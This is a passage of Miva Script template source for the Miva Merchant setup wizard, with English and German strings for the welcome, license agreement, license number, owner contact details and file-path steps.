				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Welcome to the Miva Merchant Setup Wizard.  This wizard will assist you in the installation and configuration of Miva Merchant.</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Herzlich willkommen beim Miva Merchant Setup-Assistenten. Dieser Assistent hilft Ihnen bei der Installation und Konfiguration von Miva Merchant.</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</P>
			<P>
			<MvLOCALIZED ID = "MER-SET-00065">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					Your ISP or hosting service may have already provided Miva Merchant 
					with the proper installation and operation settings, in which case 
					the Miva Merchant file and url locations will automatically be
					assigned.
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					Ihr ISP oder Hosting Service hat unter Umst�nden bereits in Miva Merchant
					die richtigen Installations- und Betriebseinstellungen 
					eingestellt.  In diesem Fall werden die Miva Merchant Datei und URL-Orte
					automatisch zugewiesen.
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</P>
			<P>
			<MvLOCALIZED ID = "MER-SET-00066">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">To begin, press the <B>Next</B> button.</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Die <B>Weiter</B> Taste bet�tigen, um beginnen zu k�nnen.</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</P>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "bottom" ALIGN = "left">
			<MvEVAL EXPR = "{ Setup_DrawPreviousButton( 'Setup_Previous();' ) }">
		</TD><TD VALIGN = "bottom" ALIGN = "right">
			<MvEVAL EXPR = "{ Setup_DrawNextButton( 'Setup_Next();' ) }">
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD COLSPAN = "2" VALIGN = "top" ALIGN = "left">
			<MvIF EXPR = "{ g.ISP_Defaults EQ 'BAD' }">
				<FONT FACE = "Arial, Helvetica" SIZE = "-1" COLOR = "#ff0000">
				<MvLOCALIZED ID = "MER-SET-00067">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">* Invalid site.dat detected</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">* Ung�ltige site.dat gefunden</MvLOCALIZED-TEXT>
				</MvLOCALIZED>			
				</FONT>
			<MvELSE>
				&nbsp;
			</MvIF>
		</TD></TR>
		</TABLE>
	</MvIF>

	<MvIF EXPR = "{ g.step EQ g.Setup_Wizard_Step_EULA }">
		<TABLE BORDER = "0" CELLPADDING = "2" CELLSPACING = "0" WIDTH = "100%">
		<TR><TD VALIGN = "top" ALIGN = "left" COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<P>
			<MvLOCALIZED ID = "MER-SET-00068">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					In order to install and use Miva Merchant, you must read and agree to the terms
					of the license agreement below.  After reading the license agreement,
					check the box below to indicate your acceptance of the Miva Merchant
					license agreement.
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					Vor der Installation und Benutzung von Miva Merchant m�ssen Sie die unten stehenden
					Bedingungen der Lizenzvereinbarung lesen und diese annehmen. Nach dem Lesen der
					Lizenzvereinbarung haken Sie bitte das nachfolgende K�stchen als Zeichen Ihrer
					Anerkennung der Miva Merchant Lizenzvereinbarung ab.
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</P>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "bottom" ALIGN = "center" COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MIVA STANDARDOUTPUTLEVEL = "text, html"><TEXTAREA ROWS = 10 COLS = 70 READONLY WRAP><MvDO FILE = "{ g.Setup_Version }" NAME = "l.ok" VALUE = "{ Merchant_License() }"></TEXTAREA><MIVA STANDARDOUTPUTLEVEL = "text, html, compresswhitespace">
			</FONT>
		</TD></TR>
		<TR><TD ALIGN = "center" COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvIF EXPR = "{ g.Install_Accept_EULA EQ 'Yes' }">
				<INPUT TYPE = "checkbox" NAME = "Install_Accept_EULA" VALUE = "Yes" CHECKED>
			<MvELSE>
				<INPUT TYPE = "checkbox" NAME = "Install_Accept_EULA" VALUE = "Yes">
			</MvIF>
			<MvLOCALIZED ID = "MER-SET-00136">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					<B>I ACCEPT THE TERMS AND CONDITIONS OF THE LICENSE AGREEMENT</B></FONT>
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					<B>ICH ERKENNE DIE BEDINGUNGEN DER LIZENZVEREINBARUNG AN</B></FONT>
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "bottom" ALIGN = "left">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvEVAL EXPR = "{ Setup_DrawPreviousButton( 'Setup_Previous();' ) }">
			</FONT>
		</TD><TD VALIGN = "bottom" ALIGN = "right">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvEVAL EXPR = "{ Setup_DrawNextButton( 'Setup_Next();' ) }">
			</FONT>
		</TD></TR>
		</TABLE>
	<MvELSE>
		<MvHIDE FIELDS = "g.Install_Accept_EULA">
	</MvIF>
	
	<MvIF EXPR = "{ g.step EQ g.Setup_Wizard_Step_License }">
		<TABLE BORDER = "0" CELLPADDING = "2" CELLSPACING = "0" WIDTH = "100%">
		<TR><TD VALIGN = "top" ALIGN = "left" COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<P>
			<MvLOCALIZED ID = "MER-SET-00069">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					In order to install and use Miva Merchant, you must enter a valid license number.
					Your ISP or hosting service should have given you this code, or perhaps 
					you purchased Miva Merchant online through the Miva General Store, in which 
					case you will have received your license number via email.
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					Vor der Installation und Benutzung von Miva Merchant m�ssen Sie eine g�ltige
					Lizenznummer eingeben. Ihr ISP oder Hosting Service sollte Ihnen diesen Code
					zur Verf�gung gestellt haben.  Falls Sie Miva Merchant online im Miva General
					Store gekauft haben, wird Ihnen Ihre Lizenznummer per E-Mail zugestellt.
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</P>
			<P>
			<MvLOCALIZED ID = "MER-SET-00070">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Enter the license number below.</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Geben Sie unten die Lizenznummer ein.</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</P>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<B>
			<MvLOCALIZED ID = "MER-SET-00071">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Miva Merchant License Number:</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Miva Merchant Lizenznummer:</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</B>
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "text" NAME = "Install_Domain_License" VALUE = "{ encodeentities( g.Install_Domain_License ) }">
			<MvLOCALIZED ID = "MER-SET-00072">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><A TARGET = "_new" HREF = "http://www.miva.com/upgrade/merchant/2.0/">Activate Upgrade License</A></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><A TARGET = "_new" HREF = "http://www.miva.com/upgrade/merchant/2.0/?language=de-DE">Upgrade-Lizenz aktivieren</A></MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "bottom" ALIGN = "left">
			<MvEVAL EXPR = "{ Setup_DrawPreviousButton( 'Setup_Previous();' ) }">
		</TD><TD VALIGN = "bottom" ALIGN = "right">
			<MvEVAL EXPR = "{ Setup_DrawNextButton( 'Setup_Next();' ) }">
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-2">
			<MvLOCALIZED ID = "MER-SET-00073">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">* The information on this page will be transmitted over the Internet to Miva Corporation.</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">* Die Informationen auf dieser Seite werden �ber das Internet an die Miva Corporation geschickt.</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</FONT>
		</TD></TR>
		</TABLE>
	<MvELSE>
		<INPUT TYPE = "hidden" NAME = "Install_Domain_License" VALUE = "{ encodeentities( g.Install_Domain_License ) }">
	</MvIF>

	<MvIF EXPR = "{ g.step EQ g.Setup_Wizard_Step_Owner }">
		<TABLE BORDER = "0" CELLPADDING = "2" CELLSPACING = "0" WIDTH = "100%">
		<TR><TD VALIGN = "top" ALIGN = "left" COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<P>
			<MvLOCALIZED ID = "MER-SET-00077">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Enter your name and address information below. This will be used in case Miva needs to contact you regarding Miva Merchant.</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Geben Sie unten Ihren Namen und Ihre Adresse ein. Diese werden benutzt, falls Miva in Bezug auf Miva Merchant mit Ihnen Kontakt aufnehmen muss.</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</P>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00078">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Owner:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Besitzer:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_Owner" VALUE = "{ encodeentities( g.Install_Domain_Owner ) }">
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00079">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Email Address:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>E-Mail Adresse:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_Email" VALUE = "{ encodeentities( g.Install_Domain_Email ) }">
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00080">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Company:</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Firma:</MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_Company" VALUE = "{ encodeentities( g.Install_Domain_Company ) }">
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00081">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Address:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Strasse:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>			
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_Address" VALUE = "{ encodeentities( g.Install_Domain_Address ) }">
			</FONT>
		</TD></TR>

		<MvIF EXPR = "{ s.miva_language EQ 'de-DE' }"> 
			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00085">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Zip/Postal Code:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Postleitzahl:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>			
				</FONT>
			</TD><TD WIDTH = "100%">
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_Zip" VALUE = "{ encodeentities( g.Install_Domain_Zip ) }">
				</FONT>
			</TD></TR>

			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00082">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>City:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Ort:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>			
				</FONT>
			</TD><TD WIDTH = "100%">
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_City" VALUE = "{ encodeentities( g.Install_Domain_City ) }">
				</FONT>
			</TD></TR>

			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00083">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">State/Province:</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bundesland:</MvLOCALIZED-TEXT>
				</MvLOCALIZED>			
				</FONT>
			</TD><TD WIDTH = "100%">
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<INPUT TYPE = "hidden" NAME = "Install_Domain_Use_State" VALUE = "{ encodeentities( g.Install_Domain_Use_State ) }">
				<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_State" VALUE = "{ encodeentities( g.Install_Domain_State ) }">
				</FONT>
			</TD></TR>
		<MvELSE>
			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00082">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>City:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Ort:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>			
				</FONT>
			</TD><TD WIDTH = "100%">
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_City" VALUE = "{ encodeentities( g.Install_Domain_City ) }">
				</FONT>
			</TD></TR>
			
			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00083">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>State/Province:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Bundesland:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>			
				</FONT>
			</TD><TD WIDTH = "100%">
				<INPUT TYPE = "hidden" NAME = "Install_Domain_Use_State" VALUE = "{ encodeentities( g.Install_Domain_Use_State ) }">
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvEVAL EXPR = "{ InitializeStateArray() }">

				<SELECT NAME = "Install_Domain_StateSelect">
				<MvASSIGN NAME = "l.state" VALUE = 1>
				<MvWHILE EXPR = "{ l.state LT g.State_Count }">
					<MvDO FILE = "{ g.Setup_Library_Utilities }" NAME = "l.foo" VALUE = "{ DrawOption( g.State_Code[ l.state ], g.Install_Domain_StateSelect, g.State[ l.state ] ) }">

					<MvASSIGN NAME = "l.state" VALUE = "{ l.state + 1 }">
				</MvWHILE>
				</SELECT>
				</FONT>
			</TD></TR>

			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00084">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Other State/Province:</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Andere Bundesl�nder:</MvLOCALIZED-TEXT>
				</MvLOCALIZED>			
				</FONT>
			</TD><TD WIDTH = "100%">
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_State" VALUE = "{ encodeentities( g.Install_Domain_State ) }">
				</FONT>
			</TD></TR>

			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00085">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Zip/Postal Code:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Postleitzahl:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>			
				</FONT>
			</TD><TD WIDTH = "100%">
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_Zip" VALUE = "{ encodeentities( g.Install_Domain_Zip ) }">
				</FONT>
			</TD></TR>
		</MvIF>

		<TR><TD NOWRAP> 
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00086">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Country:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Land:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>						
			</FONT>
		</TD><TD WIDTH = "100%">
		
			<MvIF EXPR = "{ len( g.Install_Domain_Country ) }">
				<MvASSIGN NAME = "l.install_domain_country" VALUE = "{ g.Install_Domain_Country }">
			<MvELSE>
				<MvIF EXPR = "{ s.miva_language EQ 'de-DE' }">
					<MvASSIGN NAME = "l.install_domain_country" VALUE = "DE">
				<MvELSE>
					<MvASSIGN NAME = "l.install_domain_country" VALUE = "US">
				</MvIF>
			</MvIF>


			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvEVAL EXPR = "{ InitializeCountryArray() }">
			<SELECT NAME = "Install_Domain_Country">
			<MIVA STANDARDOUTPUTLEVEL = "">
			<MvDO FILE = "{ g.Setup_Library_Utilities }" NAME = "l.ok" VALUE = "{ DrawOption_SelectOne() }">
			<MvASSIGN NAME = "l.country" VALUE = 1>
			<MvWHILE EXPR = "{ l.country LT g.Country_Count }">
				<MvDO FILE = "{ g.Setup_Library_Utilities }" NAME = "l.foo" VALUE = "{ DrawOption( g.Country_Alpha[ l.country ], l.install_domain_country, g.Country[ l.country ] ) }">
				<MvASSIGN NAME = "l.country" VALUE = "{ l.country + 1 }">
			</MvWHILE>
			<MIVA STANDARDOUTPUTLEVEL = "text, html, compresswhitespace">
			</SELECT>
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00087">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Phone:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Telefon:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>						
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_Phone" VALUE = "{ encodeentities( g.Install_Domain_Phone ) }">
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00088">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Fax:</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Fax:</MvLOCALIZED-TEXT>
			</MvLOCALIZED>						
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<INPUT TYPE = "text" SIZE = 40 NAME = "Install_Domain_Fax" VALUE = "{ encodeentities( g.Install_Domain_Fax ) }">
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "bottom" ALIGN = "left">
			<MvEVAL EXPR = "{ Setup_DrawPreviousButton( 'Setup_Previous();' ) }">
		</TD><TD VALIGN = "bottom" ALIGN = "right">
			<MvEVAL EXPR = "{ Setup_DrawNextButton( 'Setup_Next();' ) }">		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-2">
			<MvLOCALIZED ID = "MER-SET-00089">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">* The information on this page will be transmitted over the Internet to Miva Corporation.</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">* Die Informationen auf dieser Seite werden �ber das Internet an die Miva Corporation geschickt.</MvLOCALIZED-TEXT>
			</MvLOCALIZED>						
			</FONT>
		</TD></TR>
		</TABLE>
	<MvELSE>
		<MvHIDE FIELDS = "g.Install_Domain_Owner, g.Install_Domain_Email, g.Install_Domain_Company, g.Install_Domain_Address, g.Install_Domain_City, g.Install_Domain_Use_State, g.Install_Domain_State, g.Install_Domain_StateSelect, g.Install_Domain_Zip, g.Install_Domain_Country, g.Install_Domain_Phone, g.Install_Domain_Fax">
	</MvIF>
	
	<MvIF EXPR = "{ g.step EQ g.Setup_Wizard_Step_Paths }">
		<MvHIDE FIELDS = "g.Install_Image_Root_Detected, g.Install_URL_Base_Detected, g.Install_Display_Site_Steps, g.Install_Display_Setup_Steps, g.Install_URL_Merchant_Detected, g.Install_Module_Root_Detected">
		<TABLE BORDER = "0" CELLPADDING = "2" CELLSPACING = "0" WIDTH = "100%">
		<TR><TD VALIGN = "top" ALIGN = "left" COLSPAN = "2">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<P>
			<MvLOCALIZED ID = "MER-SET-00090">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					In the following fields, you will tell Miva Merchant where its files
					are located, as well as the Internet addresses (URLs) required to access
					its files.  
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					Auf den folgenden Feldern teilen Sie Miva Merchant mit, wo seine Dateien
					gespeichert sind und welche Internet-Adressen (URLs) f�r den Zugriff auf
					seine Dateien erforderlich sind.
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>						
			</P>
			<P>
			<MvLOCALIZED ID = "MER-SET-00091">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">
					Your ISP or hosting provider may have provided this information 
					for you, in which case this information is displayed.  Miva Merchant setup 
					may have detected different settings and locations, if there are any 
					discrepancies, you may need to contact your ISP or hosting provider 
					in order to reconcile these differences.
				</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
					Ihr ISP oder Hosting Service hat Ihnen unter Umst�nden diese Informationen bereits zur
					Verf�gung gestellt.  In diesem Fall werden diese Informationen angezeigt. Der
					Miva Merchant Setup hat gegebenenfalls andere Einstellungen und Orte erkannt.
					Sollten Diskrepanzen vorliegen, m�ssen Sie sich unter Umst�nden an
					Ihren ISP oder Hosting Service wenden, um diese Unterschiede aus dem Weg zu r�umen.
				</MvLOCALIZED-TEXT>
			</MvLOCALIZED>						
			</P>
			</FONT>
		</TD></TR>
		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>
		<TR><TD VALIGN = "top" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00092">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>URL to Miva Merchant:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>URL zum Miva Merchant:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>						
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_URL_Merchant_Use_Detected EQ 'Yes' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Use_Detected" VALUE = "Yes" CHECKED> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Merchant_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Use_Detected" VALUE = ""><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_MivaMerchantURL" VALUE = "{ encodeentities( g.Install_MivaMerchantURL ) }">
				<MvELSE>
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Use_Detected" VALUE = "Yes"> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Merchant_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_URL_Merchant_Use_Detected" VALUE = "" CHECKED><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_MivaMerchantURL" VALUE = "{ encodeentities( g.Install_MivaMerchantURL ) }">
				</MvIF>
			</FONT>
			</FONT>
		</TD></TR>

		<TR><TD VALIGN = "top" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00093">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Root Directory for Modules:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Hauptverzeichnis f�r Module:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>						
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_Module_Root_Use_Detected EQ 'Yes' }">
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Use_Detected" VALUE = "Yes" CHECKED> <MvEVAL EXPR = "{ encodeentities( g.Install_Module_Root_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Use_Detected" VALUE = ""><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_Module_Root" VALUE = "{ encodeentities( g.Install_Module_Root ) }">
				<MvELSE>
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Use_Detected" VALUE = "Yes"> <MvEVAL EXPR = "{ encodeentities( g.Install_Module_Root_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_Module_Root_Use_Detected" VALUE = "" CHECKED><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_Module_Root" VALUE = "{ encodeentities( g.Install_Module_Root ) }">
				</MvIF>
			</FONT>
		</TD></TR>

		<TR><TD VALIGN = "top" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00094">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Base URL for Graphics:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Basis-URL f�r Grafiken:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>						
			</FONT>
		</TD><TD WIDTH = "100%">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_URL_Base_Use_Detected EQ 'Yes' }">
					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Use_Detected" VALUE = "Yes" CHECKED> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Base_Detected ) }"><BR>
					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Use_Detected" VALUE = ""><MvEVAL EXPR = "{ Setup_DrawText_Other() }"><INPUT TYPE = "text" SIZE = 33 NAME = "Install_URL_Base" VALUE = "{ encodeentities( g.Install_URL_Base ) }">
				<MvELSE>
					<INPUT TYPE = "radio" NAME = "Install_URL_Base_Use_Detected" VALUE = "Yes"> <MvEVAL EXPR = "{ encodeentities( g.Install_URL_Base_Detected ) }"><BR>
